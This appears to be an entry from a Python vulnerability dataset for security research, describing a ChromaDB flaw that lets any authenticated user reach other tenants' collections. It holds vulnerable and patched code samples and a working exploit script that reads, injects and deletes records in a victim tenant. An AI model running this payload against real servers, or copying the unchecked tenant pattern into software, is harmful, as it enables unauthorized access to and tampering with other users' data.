CVE-2026-45830
ChromaDB auth flaw allows users to read/write data across all tenants.
- CVSS 8.8
- CWE-639
- Authentication, Authorization, and Session Management
- Remote
A lack of authorization validation in version 0.4.17 or later of the ChromaDB Python project allows any authenticated users to arbitrarily read, write, update, or delete data in any tenant's collection regardless of which tenant they belong to.
- CWE
- CWE-639
- CVSS base score
- 8.8
- Published
- 2026-06-12
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Insecure Direct Object References (IDOR)
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- ChromaDB
- Fixed by upgrading
- Yes
Solution
Upgrade to ChromaDB version 0.4.24.
Vulnerable code sample
import uuid
# Simplified in-memory representation of a multi-tenant database.
_DB_DATA = {
"tenant_A": {
"collections": {
"private_docs": {"id": uuid.uuid4(), "data": ["doc A1", "doc A2"]},
}
},
"tenant_B": {
"collections": {
"financial_reports": {"id": uuid.uuid4(), "data": ["report B1", "report B2"]},
}
}
}
class VulnerableChromaClient:
"""
A mock client demonstrating an authorization vulnerability. An authenticated
user of one tenant can access another tenant's data because the 'tenant'
parameter in API methods is trusted without validation against the user's
actual tenant.
"""
def __init__(self, auth_token: str, tenant: str):
# The client is "authenticated" for a specific tenant.
# In a real scenario, the auth_token would be validated here.
self._user_tenant = tenant
self._auth_token = auth_token
# The authenticated tenant (`self._user_tenant`) is stored but never used for authorization.
def get_collection(self, name: str, tenant: str):
"""
Retrieves a collection.
VULNERABILITY: It uses the 'tenant' parameter directly to access the
database, without validating if it matches the authenticated user's
tenant ('self._user_tenant').
"""
if tenant in _DB_DATA and name in _DB_DATA[tenant]["collections"]:
return _DB_DATA[tenant]["collections"][name]
return None
def update_collection(self, name: str, tenant: str, new_data: list):
"""
Updates a collection with new data.
VULNERABILITY: It uses the 'tenant' parameter directly without
any authorization checks, allowing a user from any tenant to modify
data in any other tenant.
"""
if tenant in _DB_DATA and name in _DB_DATA[tenant]["collections"]:
_DB_DATA[tenant]["collections"][name]["data"] = new_data
return {"status": "success"}
return {"status": "failed", "reason": "not found"}
def delete_collection(self, name: str, tenant: str):
"""
Deletes a collection.
VULNERABILITY: It uses the 'tenant' parameter directly without
any authorization checks, allowing a user from any tenant to delete
data in any other tenant.
"""
if tenant in _DB_DATA and name in _DB_DATA[tenant]["collections"]:
del _DB_DATA[tenant]["collections"][name]
return {"status": "success"}
return {"status": "failed", "reason": "not found"}Patched code sample
import sys
# A mock database store to simulate multi-tenancy in ChromaDB.
# Data is structured as: {tenant_id: {collection_name: [data]}}
_db_data = {
"tenant_acme": {
"user_profiles": {"data": ["user_a", "user_b"]},
"invoices": {"data": ["invoice_123", "invoice_456"]},
},
"tenant_globex": {
"user_profiles": {"data": ["user_x", "user_y"]},
"projects": {"data": ["project_alpha"]},
},
}
class AuthorizationError(Exception):
"""Custom exception for authorization failures."""
pass
def get_collection(auth_user_tenant: str, target_tenant: str, collection_name: str):
"""
Retrieves a collection, but only if the authenticated user's tenant
matches the tenant of the collection being accessed.
The vulnerable version of this function would lack the authorization check.
"""
# --- START OF THE FIX ---
#
# The vulnerability was a lack of authorization validation. The fix is to
# explicitly verify that the tenant associated with the authenticated user
# matches the tenant of the resource they are attempting to access.
# If this check is omitted, any user can specify any `target_tenant` and
# access its data.
if auth_user_tenant != target_tenant:
raise AuthorizationError(
f"User from tenant '{auth_user_tenant}' is not authorized to "
f"access resources in tenant '{target_tenant}'."
)
# --- END OF THE FIX ---
# If authorization check passes, proceed with the data retrieval.
tenant_collections = _db_data.get(target_tenant, {})
return tenant_collections.get(collection_name)
# # --- Example Usage Demonstrating the Fix ---
#
# # 1. A legitimate user from 'tenant_acme' trying to access their own data.
# # This operation is allowed.
# try:
# legitimate_user = "tenant_acme"
# collection = get_collection(
# auth_user_tenant=legitimate_user,
# target_tenant="tenant_acme",
# collection_name="user_profiles"
# )
# # print(f"Success: ACME user accessed their data: {collection}")
# except AuthorizationError as e:
# # This block will not be reached.
# # print(f"Error: {e}", file=sys.stderr)
# pass
#
# # 2. An attacker from 'tenant_globex' trying to access 'tenant_acme' data.
# # In the vulnerable version, this would succeed. With the fix, it fails.
# try:
# attacker_user = "tenant_globex"
# collection = get_collection(
# auth_user_tenant=attacker_user,
# target_tenant="tenant_acme", # Attempting to access a different tenant
# collection_name="invoices"
# )
# # This line will not be reached.
# # print(f"VULNERABILITY! Attacker accessed ACME data: {collection}")
# except AuthorizationError as e:
# # The fix ensures this exception is raised, preventing the data leak.
# # print(f"Fixed: Access was correctly denied. Reason: {e}")
# passPayload
import chromadb
# Attacker's client configuration
# The attacker has a valid authentication token, but it's for their own tenant,
# NOT the 'victim_tenant' they are targeting.
CHROMA_HOST = "localhost"
CHROMA_PORT = 8000
ATTACKER_TOKEN = "a_valid_token_for_a_different_tenant"
VICTIM_TENANT = "victim_tenant"
VICTIM_COLLECTION = "user_financial_records"
# Initialize the client, specifying the VICTIM's tenant but using the ATTACKER's token.
# A vulnerable server fails to validate that the token is authorized for the specified tenant.
client = chromadb.HttpClient(
host=CHROMA_HOST,
port=CHROMA_PORT,
tenant=VICTIM_TENANT,
headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"}
)
try:
# Get a handle to a collection belonging to the victim tenant.
collection = client.get_collection(name=VICTIM_COLLECTION)
# 1. Demonstrate arbitrary READ access
print("[*] Attempting to read all data from the victim's collection...")
data = collection.get()
print(f"[+] READ SUCCESS: Retrieved {len(data['ids'])} records from '{VICTIM_COLLECTION}'.")
# print(data) # Uncomment to see the stolen data
# 2. Demonstrate arbitrary WRITE access
print("[*] Attempting to write a malicious entry to the victim's collection...")
collection.add(
ids=["pwned_by_attacker"],
documents=["This record was inserted by an unauthorized user."],
metadatas=[{"exploit": "CVE-2026-45830"}]
)
print("[+] WRITE SUCCESS: Injected malicious record.")
# 3. Demonstrate arbitrary DELETE access
print("[*] Attempting to delete a record from the victim's collection...")
# Assuming we know an ID to delete, or we can use the one we just added.
collection.delete(ids=["pwned_by_attacker"])
print("[+] DELETE SUCCESS: Removed a record from the collection.")
except Exception as e:
print(f"[-] Exploit failed: {e}")
Cite this entry
@misc{vaitp:cve202645830,
title = {{ChromaDB auth flaw allows users to read/write data across all tenants.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-45830},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45830/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
